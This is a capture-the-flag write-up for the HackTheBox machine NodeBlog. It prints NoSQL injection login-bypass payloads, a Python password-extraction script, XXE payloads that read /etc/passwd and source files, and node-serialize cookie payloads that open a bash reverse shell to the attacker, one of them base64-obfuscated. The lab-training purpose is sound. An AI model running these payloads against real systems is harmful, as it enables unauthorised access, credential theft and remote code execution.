Thamizhiniyan C S
HomeWriteupsResourcesCheatsheets
HackTheBox
HackTheBox
  • HackTheBox
  • Machines
    • Easy
      • Devvortex
      • Sau
      • CozyHosting
      • Cat
      • Crafty
      • Analytics
      • Squashed
      • Keeper
      • Pilgrimage
      • NodeBlog
      • PC
  • Tracks
    • Beginner Track
      • Lame
      • Find the Easy Pass
      • Weak RSA
      • Jerry
      • You Know 0xDiablos
      • Netmon
      • Under Construction
      • Blue
    • Intro To Android Exploitation
      • Pinned
      • Manager
      • Anchored
      • APKrypt
      • Explore
      • Don't Overreact
      • APKey
    • Pwn With Metasploit
      • Optimum
      • Devel
  • Challenges
    • Web
      • Easy
        • Templated
  • Sherlocks
    • DFIR
      • Easy
        • Recollection
    • SOC
      • Easy
        • Meerkat
    • Malware Analysis
      • Easy
        • Heartbreaker-Continuum
        • Lockpick
        • Lockpick 2.0
Powered by GitBook
On this page
  • Overview
  • Reconnaissance
  • Nmap Agressive Scan
  • Results
  • Information Gathering - Port 5000
  • Initial Access
  • Getting the User Flag
  • Privilege Escalation
  • Getting the Root Flag

Was this helpful?

  1. Machines
  2. Easy

NodeBlog

NodeBlog writeup by Thamizhiniyan C S

PreviousPilgrimageNextPC

Last updated 1 year ago

Was this helpful?

Overview

Greetings everyone,

In this write-up, we will tackle NodeBlog from HackTheBox.

Machine link:

Difficulty Level: Easy

Let's Begin 🙌

Firstly, connect to the HTB server using the OpenVPN configuration file generated by HTB. to learn more about how to connect to VPN and access the boxes.

Once connected to the VPN service, click on "Join Machine" to access the machine's IP.

Upon joining the machine, you will be able to view the IP address of the target machine.


Reconnaissance

Nmap Agressive Scan

nmap -A -T4 -v <TARGET_IP>

Results

Port
Service
Version/Technology

22

SSH

OpenSSH 8.2p1

5000

HTTP

Node.js


Information Gathering - Port 5000

From the obtained results, we could see that the SSH service is running on port 22 and on port 5000 there is a Node.js server is running. From the http-title of port 5000, we can devise that, it is a Node.js Blog Web Site, which uses the Express.js to handle requests.

Now we can take a look at the blog web site running on port 5000.

We can see that there is a Login button, which takes us to the login page.

And there is a Read More button, which takes us to the detailed view of the blog that is present over there.

There is no robots.txt file.

Next I ran gobuster on the blog website to find other hidden directories and paths.

Command: gobuster dir -u http://10.10.11.139:5000/ -w **/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt**

But I don’t get anything great from the results of gobuster.

Next I tried to login with some random credentials in the login page and captured the request using Burpsuite and send that to the repeater tab.

First I tried with,

username: test

password: test

I got the response as Invalid username.

Next I tried,

username: admin

password: admin

This time I got the response back as Invalid Password, which shows that a user with a username admin exists.


Initial Access

Since this is a Node.js server, I checked for NoSQL Injection, since most of the Node.js applications uses MongoDB as the database.

I used JSON format payloads given in the above mentioned site, since its more reliable and easy to format.

To send the data in JSON format in burpsuite, you have to change the value of the content-type header to application/json. Now change the data from “user=admin&password=admin” to JSON format:

{
    "user": "admin",
    "password": "admin"
}

And make sure the request works as before.

Now use the following payload to check whether the password field is vulnerable to NoSQL.

payload:

{
    "user": "admin",
    "password": {
        "$ne": null
    }
}

// Here $ne means not equal to. This payload makes the login condition to TRUE 
// if the password is not equal to "null". You can replace any value instead of 
// null in this secenario.

Now send the login request with the payload.

You can see that we have successfully bypassed the authentication and we have logged in. This shows that the application is vulnerable to NoSQL injection.

Since, we have found that the application is vulnerable to NoSQL Injection, we can try to extract the password of the user admin using the following payload.

The above mentioned payload uses regular expression to check whether the password is starting with the mentioned letter. I have created a python script which loops through all the letters in the ASCII encoding and extracts the password using the above mentioned payload:

// Password Enumeration Script //

import requests
import string
import sys

url = "http://10.10.11.139:5000/login"
headers = {"Content-Type": "application/json"}
password = ""

status = True

while status:
    data = {
        "user": "admin",
        "password": {"$regex": f"^{password}$" }
    }

    response = requests.post(url, headers=headers, json=data)

    if "Invalid Password" not in response.text:
        status = False
        sys.stdout.write(f"\rPassword: {password}")
        sys.stdout.flush()
        break

    else:
        for each in string.ascii_letters:
            data = {
                "user": "admin",
                "password": {"$regex": f"^{password}{each}" }
            }

            response = requests.post(url, headers=headers, json=data)

            if "Invalid Password" not in response.text:
                password += each
                sys.stdout.write(f"\rPassword: {password}{each}")
                sys.stdout.flush()
                break
                    
            sys.stdout.write(f"\rPassword: {password}{each}")
            sys.stdout.flush()

We have extracted the password using the above script:

Now, we can login to this application either by using the password that we extracted or by bypassing the authentication.

After logging in to the application, we can see a upload button.

When I clicked the upload button, It opened a file upload dialogue box.

Since this is a Node.js application, I tried to upload a Javascript reverse shell.

But it thrown me the above error. I tried to upload the file again, but this time I intercepted the request using burpsuite.

From the above output, we can see that the application is expecting an XML file, with the following format:

<post>
	<title>Example Post</title>
	<description>Example Description</description>
	<markdown>Example Markdown</markdown>
</post>

So, I used the XML external entity (XXE) injection technique to view the contents of the file from the application file system.

First I tried to view the contents of the /etc/passwd file. I uploaded the following code to the server:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

<post>
	<title>xml payload to extract the contents of /etc/passwd file</title>
	<description>&xxe;</description>
	<markdown>Example Markdown</markdown>
</post>

The payload successfully worked and we can see the /etc/passwd file contents:

Now we can try to view the contents of the server source code. But we don’t know the source code is located in the server.

While I was trying to figure out the location of the source code, I got the following error, when I typed the syntax of the JSON data that we enter in the request during login:

From the error I got, we can see that the blog application is located at /opt/blog. Since this is a Node.js application, most developers will name their main server file as any one of the following:

  • index.js

  • server.js

I tried to look out for the server.js in the /opt/blog location by uploading the following XML file:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///opt/blog/server.js"> ]>

<post>
	<title>xml payload to extract the contents of /opt/blog/server.js file</title>
	<description>&xxe;</description>
	<markdown>Example Markdown</markdown>
</post>

And we got the contents of the server.js file.

I saved this content to a file in my local machine to view it in VScode.

The node-serialize library is vulnerable to arbitrary code execution.

In the target application, the node serialize module is used to unserialize the cookie from the request. But if you check the server.js code, you can see that the authenticated function is called only for the get request to / route.

So, to exploit the node-serialize library, we have to send a get request and capture it using burpsuite.

// Payload
{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'bash -i >& /dev/tcp/<tun0_IP>/9001 0>&1\', function(error, stdout, stderr) { console.log(stdout) });}()"}

Now replace the value of auth cookie with the above payload in the repeater tab and send the request. Before sending a request, make sure to start a netcat listener on your local machine on port 9001.

It didn’t work. If you check the payload in the repeater tab, its highlighted in two different colours, which because the payload is broken into two parts due to the semicolon ; in the payload. So, this time I encoded the semicolon with URL encoding and also I replace all the single quotes with double quotes i.e, ‘ replaced with “, then I send the request. The URL encoded value of semicolon is %3b.

// Payload: URL encoded semicolon and replaced all single quotes with double quotes.
{"rce":"_$$ND_FUNC$$_function (){require(\"child_process\").exec(\"bash -i >& /dev/tcp/<tun0_IP>/9001 0>&1\", function(error, stdout, stderr) { console.log(stdout) })%3b}()"}

But this time also I haven’t got back the response.

So this time I encoded the command which is in the payload using base64 algorithm.

But if you send this base64 string as it is in the payload it won’t work, because the base64 string is not a valid command in linux. So we have to find a way to decode this while execution. So I constructed a bash command to decode this.

Command:

echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi45MC85MDAxIDA+JjE= | base64 -d

Now replace the command with the above command and send the request.

// Payload: URL encoded semicolon and replaced all single quotes with double quotes.
// Base64 Encoded command.
{"rce":"_$$ND_FUNC$$_function (){require(\"child_process\").exec(\"echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi45MC85MDAxIDA+JjE= | base64 -d | bash\", function(error, stdout, stderr) { console.log(stdout) })%3b}()"}

Make sure to update your `tun0` IP address.

This time I got the request back, and also I got the reverse shell also In the netcat listener.


Getting the User Flag

Now I searched for the user flag using the find command and found it.


Privilege Escalation

Next we have to escalate our privileges to find the root flag.

If you take a look at the server.js file, we can see that the mongoose.connect method is used to connect to the MongoDB, which is running in localhost.

So I checked out for the MongoDB console. I typed the command mongo and got the MongoDB shell.

First I used the show dbs command to list all the available databases.

From the listed dbs, the most appealing one is the blog db. So I selected the blog db using the command use blog. Next I tried to view the collections ( aka tables ) in the database blog using the command show collections.

And we can see that there is a collection named users. I tried to read the contents of the users collection using the command db.users.find().

We got the password for the user admin which we have already enumerated using the Password Enumeration script. Now we can try to use this password to escalate our privilege as root user.

To switch user or to enter password to escalate our privilege, we need a more stable shell which we can spawn using the command: python3 -c 'import pty; pty.spawn("/bin/sh")’.


Getting the Root Flag

And we have escalated our privilege as root. Now search for the root flag.

And finally we got the root flag.

Thank You……

I tried some of the NoSQL authentication bypass payloads from the following site:

To Learn more about XML external entity (XXE), Check out the following link:

From the first few lines of the code, we can see that the applications is using the node-serialize library. I googled for node-serialize and found the following:

Now send the captured request to the repeater tab. Now we can use the payload to exploit the node-serialize library. I got the payload for this vulnerability from the following site: . I have slightly modified the payload, which now will execute a reverse shell on successful execution.

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL Injection#authentication-bypass
https://portswigger.net/web-security/xxe
https://security.snyk.io/package/npm/node-serialize
https://security.snyk.io/vuln/npm:node-serialize:20170208
NodeBlog
Click Here